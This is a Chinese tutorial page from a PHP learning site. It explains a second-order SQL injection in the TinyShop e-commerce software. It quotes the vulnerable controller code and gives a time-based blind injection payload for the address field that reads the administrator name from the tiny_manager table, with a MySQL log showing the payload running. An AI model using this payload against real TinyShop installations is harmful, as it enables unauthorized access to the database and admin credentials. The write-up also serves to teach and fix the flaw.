网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

TinyShop二次注入 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 还是 protected controllers simple php文件public function order_act(){ $address = $model-table(address)-where(id=$address_id)-find(); if(!$addre...

还是 protected\controllers\simple.php文件



 

public function order_act(){
.................
$address = $model->table("address")->where("id=$address_id")->find();
            //if(!$address)$this->redirect("order",false,Req::args());
            //if(!$payment_id)$this->redirect("order",false,Req::args()); 
$data['order_no'] = Common::createOrderNo();
            .............
           $data['addr'] = $address['addr'];//因为有字符限制 ,所以选择这个参数入
            ..........


            //var_dump($order_products);exit();

            //写入订单数据
            $order_id = $model->table("order")->data($data)->insert();





看到

public function address_save(){
        $rules = array('zip:zip:邮政编码格式不正确!','addr:required:内容不能为空!','accept_name:required:收货人姓名不能为空!,mobile:mobi:手机格式不正确!,phone:phone:电话格式不正确');
        $info = Validator::check($rules);
        
        if(!is_array($info) && $info==true) {\\
            Filter::form(array('sql'=>'accept_name|mobile|phone','txt'=>'addr','int'=>'province|city|county|zip|is_default|id'));





会把单引号转义为 斜杠+'. 但是进入数据库时 斜杠 是不会进去的。从而造成二次注入。

延时注入测试下。

首先 添加个收货地址,抓包修改 addr=','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#
 

12.jpg



用生成的地址 提交订单。

mysql执行日志,可以看到

insert into tiny_order (`prom`,`prom_id`,`order_no`,`user_id`,`payment`,`status`,`pay_status`,`accept_name`,`phone`,`mobile`,`province`,`city`,`county`,`addr`,`zip`,`payable_amount`,`payable_freight`,`real_freight`,`create_time`,`user_remark`,`is_invoice`,`invoice_title`,`taxes`,`discount_amount`,`order_amount`,`real_amount`,`point`,`type`,`voucher_id`,`voucher`) values ('a:11:{s:2:"id";s:1:"2";s:8:"goods_id";s:2:"24";s:5:"title";s:49:"2014春装男款格子长袖男衬衫大型团购";s:7:"max_num";s:2:"50";s:7:"min_num";s:1:"1";s:5:"price";s:5:"30.00";s:10:"start_time";s:19:"2014-05-04 10:18:00";s:8:"end_time";s:19:"2014-05-30 10:18:00";s:9:"goods_num";s:1:"0";s:9:"order_num";s:1:"0";s:6:"is_end";s:1:"0";}',2,'20140627115409355844',2,1,2,0,'aaa','1111111111','1111111111',130000,130300,130302,'','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#','111111',49,10.00,10.00,'2014-06-27 11:54:09','',0,'0',0,0,40,30,0,1,0,'a:0:{}')

#将后面的注释掉,所以实际执行的为

13.jpg

延时成功。

可以写个脚本跑下密码。这里就不提供了~

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论